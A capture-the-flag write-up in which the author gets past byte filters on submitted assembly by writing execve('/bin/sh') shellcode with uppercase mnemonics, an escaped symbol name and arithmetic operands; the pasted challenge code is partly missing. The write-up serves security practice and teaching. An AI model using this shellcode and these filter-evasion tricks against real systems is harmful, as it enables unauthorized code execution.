So What? Revenge


Are you a shellcoding pro? If not, so what? (salt guaranteed once you know the solution)


In this challenge, we were allowed to send an assembly source file that would be assembled with as. There are a number of filters that were being applied to our input.

last_byte = b""
binary = b""
while True:
    byte =
    binary += byte
    # allow cancer constraints here
    # man, I really wish there was a way to avoid all this pain!!!
    # lmao
    if b"\x80" <= byte < b"\xff": # 1. printable shellcode
    if byte in b"/bi/sh": # 2. no shell spawning shenanigans
    if b"\x30" <= byte <= b"\x35": # 3. XOR is banned
    if b"\x00" <= byte < b"\x05": # 3. ADD is banned
    if byte == b"\n" and last_byte == b"\n":
    last_byte = byte
    if len(binary) >= 0x1000:

with open("", "wb") as f:


os.system("as -o libyour_input.obj && ld libyour_input.obj -shared -o")

The assembled library is then linked against main. A is also compiled with flag defined, allowing it to have the win() function.

main_source = """
#include <stdio.h>

extern int win();

#ifdef flag
int win() {

int main() {

with open("main.c", "w") as f:

os.system("gcc main.c -shared -o -Dflag")
os.system("gcc main.c -L. -lyour_input -o main")
os.system("LD_LIBRARY_PATH='.' ./main")

Unintended Solution

My unintended solution was to simply tackle the challenge the way it was presented, and evade the filters.

Let's first assume that the filters weren't there. Our goal would be to export a win function in our shared library, which is run by main. The following shellcode spawns a /bin/sh shell.

.globl win
    xor    %rdx, %rdx
    mov    $7526411553527181103, %rbx
    shr    $8, %rbx
    push   %rbx
    mov    %rsp, %rdi
    push   %rax
    push   %rdi
    mov    %rsp, %rsi
    mov    $59, %al

The first challenge we face is that we cannot have any of the characters in "/bi/sh".

if byte in b"/bi/sh": # 2. no shell spawning shenanigans

This can be evaded in our instructions by simply using uppercased code (which the assembler accepts), but dealing with the win label itself is a bit more tricky. We can't just use WIN since that would export a different symbol than the lowercased win we need.

We ended up creating the win label using .set, which expects a symbol name that can be a quoted value. To set the correct address, we use . which means the current position.

.set symbol, expression

The .set directive assigns the value of expression to symbol. Expression can be any legal expression that evaluates to a numerical value.

Great! This cursed code actually works, and linking it against main spawns a shell when running main.

.GLOBL    "w\x69n"
.SET      "w\x69n", .
    XOR    %RDX, %RDX
    MOV    $7526411553527181103, %RBX
    SHR    $8, %RBX
    PUSH   %RBX
    MOV    %RSP, %RDI
    PUSH   %RAX
    PUSH   %RDI
    MOV    %RSP, %RSI
    MOV    $59, %AL

The final piece of the puzzle is to get rid of all digits 0 to 5, since they correspond to the ASCII codes \x30 to \x35.

if b"\x30" <= byte <= b"\x35":

Since the MOV operands are expressions, we could make use of mathematical operations to arrive at the number we need. For instance:

77768999999999 * 96779 + 788777778*6976 + 6798666 + 6699888 == 7526411553527181103

And that was just what we needed to complete the shellcode!

.GLOBL    "w\x69n"
.SET "w\x69n", .
    XOR    %RDX, %RDX
    MOV    $77768999999999*96779 + 788777778*6976 + 6798666 + 6699888, %RBX
    SHR    $8, %RBX
    PUSH   %RBX
    MOV    %RSP, %RDI
    PUSH   %RAX
    PUSH   %RDI
    MOV    %RSP, %RSI
    MOV    $66-7, %AL

Popping this into the challenge gives us a shell.

Intended Solution

The was there for a reason! Notice that since os.system() does not raise an exception if the executed commands error out, we could just write to the directly without ever writing assembly code.

This meant that we could write a linker script that just links

INPUT ( -lflag )

Last updated